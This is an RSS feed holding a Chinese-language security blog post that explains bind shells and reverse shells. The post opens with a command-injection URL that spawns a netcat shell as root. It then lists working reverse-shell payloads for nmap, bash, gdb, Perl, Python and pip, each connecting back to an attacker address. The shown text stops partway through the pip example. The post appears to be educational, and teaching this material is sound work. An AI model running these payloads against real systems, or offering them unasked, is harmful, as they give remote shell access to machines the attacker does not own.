<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on Craig&#39;s Security blog</title>
        <link>https://blog.hack.tw/post/</link>
        <description>Recent content in Posts on Craig&#39;s Security blog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en-us</language>
        <copyright>Craig</copyright>
        <lastBuildDate>Sat, 31 Aug 2024 00:00:00 +0800</lastBuildDate><atom:link href="https://blog.hack.tw/post/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>Reverse Shell / Bind Shell 詳解</title>
        <link>https://blog.hack.tw/p/reverse-shell-bind-shell/</link>
        <pubDate>Sat, 31 Aug 2024 00:00:00 +0800</pubDate>
        
        <guid>https://blog.hack.tw/p/reverse-shell-bind-shell/</guid>
        <description>&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$nc -lvnp 1337
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;https://blog.hack.tw/?cmd=nc%20-e%20/bin/sh%2010.0.0.1%201337
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;$ id
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;
&lt;/p&gt;   
&lt;div class=&#34;info&#34;&gt;
    這篇是我在2021年參加 iThome 鐵人賽的其中一篇，之後會把其他篇把內容修改的更完整之後再放上來
&lt;/div&gt;

&lt;h2 id=&#34;正文&#34;&gt;正文
&lt;/h2&gt;&lt;h3 id=&#34;bind-shell&#34;&gt;&lt;strong&gt;Bind Shell&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Bind shell 是綁定到目標(受害者)主機上的&lt;strong&gt;特定&lt;/strong&gt; port 來監聽傳入連接的shell，例如:&lt;/p&gt;
&lt;p&gt;先使用 netcat 將 bash(sh) Shell 綁定到目標主機上的 1234 port&lt;/p&gt;
&lt;figure
  class=&#34;figurefigure-left&#34;
&gt;&lt;img src=&#34;https://blog.hack.tw/cdn-cgi/image/format=webp,quality=99/https://image.hack.tw/reverse-shell-bind-shell-images/image.png&#34; width=&#34;400&#34;&gt;
&lt;/figure&gt;

&lt;p&gt;然後在攻擊者端通過這個 1234 port 連接到目標主機。(右方為攻擊者)&lt;/p&gt;
&lt;figure
  class=&#34;figurefigure-center&#34;
&gt;&lt;img src=&#34;https://blog.hack.tw/cdn-cgi/image/format=webp,quality=99/https://image.hack.tw/reverse-shell-bind-shell-images/image-1.png&#34; width=&#34;800&#34;&gt;
&lt;/figure&gt;

&lt;h3 id=&#34;reverse-shell&#34;&gt;&lt;strong&gt;Reverse Shell&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;Reverse Shell 則是相反
先在攻擊者(local)端監聽任何對 4444 port 的發起的連線，&lt;/p&gt;
&lt;figure
  class=&#34;figurefigure-center&#34;
&gt;&lt;img src=&#34;https://blog.hack.tw/cdn-cgi/image/format=webp,quality=99/https://image.hack.tw/reverse-shell-bind-shell-images/image-2.png&#34; width=&#34;500&#34;&gt;
&lt;/figure&gt;

&lt;p&gt;然後讓目標主機(受害者端)對攻擊者端的 4444 port 發起連線。(右方為攻擊者)&lt;/p&gt;
&lt;figure
  class=&#34;figurefigure-center&#34;
&gt;&lt;img src=&#34;https://blog.hack.tw/cdn-cgi/image/format=webp,quality=99/https://image.hack.tw/reverse-shell-bind-shell-images/3.png&#34; width=&#34;500&#34;&gt;
&lt;/figure&gt;

&lt;p&gt;兩者的差別在於，Reverse shell 是從&lt;strong&gt;目標主機對攻擊者主機&lt;/strong&gt;發起連線
而 Bind Shell 是先在目標主機上綁定特定 port，然後等來自&lt;strong&gt;攻擊者主機對目標主機&lt;/strong&gt;發起連線，就像後門(backdoor)一樣。&lt;/p&gt;
&lt;p&gt;很多可以建立連線的程式語言/指令都可以用來寫 Bind/Reverse Shell，依據語言特性也會有不同的寫法，甚至有些意想不到的 command 都可以用來寫 Bind/Reverse Shell，下面列出幾個 Reverse Shell:&lt;/p&gt;
&lt;h3 id=&#34;各種各樣的-reverse-shell&#34;&gt;各種各樣的 Reverse Shell
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RHOST&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;10.0&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RPORT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;TF&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;mktemp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;local s=require(&amp;#34;socket&amp;#34;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;assert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tcp&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;());&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;connect&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;RHOST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;RPORT&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;bp&#34;&gt;true&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;receive&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;assert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;io&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;popen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;r&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;n&#34;&gt;local&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;assert&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;read&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;*a&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;send&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;end&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;t&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; &amp;gt; $TF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;nmap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;script&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=$&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;bash&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/8080 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;有時為了確保目標的shell使用bash會在前面加上&lt;code&gt;bash -c&lt;/code&gt;:
&lt;code&gt;bash -c `bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/1234 0&amp;gt;&amp;amp;1` &lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;gdb&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RHOST&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;10.0&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RPORT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;gdb&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;nx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;python import sys,socket,os,pty;s=socket.socket()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;connect&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;RHOST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;RPORT&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;dup2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fileno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(),&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fd&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pty&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;spawn&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/bin/sh&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39; -ex quit&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Perl&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-perl&#34; data-lang=&#34;perl&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;perl&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;e&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#39;use Socket;$i=&amp;#34;10.0.0.1&amp;#34;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&amp;#34;tcp&amp;#34;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&amp;#34;&amp;gt;&amp;amp;S&amp;#34;);open(STDOUT,&amp;#34;&amp;gt;&amp;amp;S&amp;#34;);open(STDERR,&amp;#34;&amp;gt;&amp;amp;S&amp;#34;);exec(&amp;#34;/bin/sh -i&amp;#34;);};&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Python&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;python&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;c&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&amp;#34;10.0.0.1&amp;#34;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&amp;#34;/bin/sh&amp;#34;,&amp;#34;-i&amp;#34;]);&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;pip&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RHOST&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;10.0&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;mf&#34;&gt;0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;export&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RPORT&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1234&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;TF&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;mktemp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;import sys,socket,os,pty;s=socket.socket()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;connect&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;RHOST&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;RPORT&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))))&lt;/span&gt;
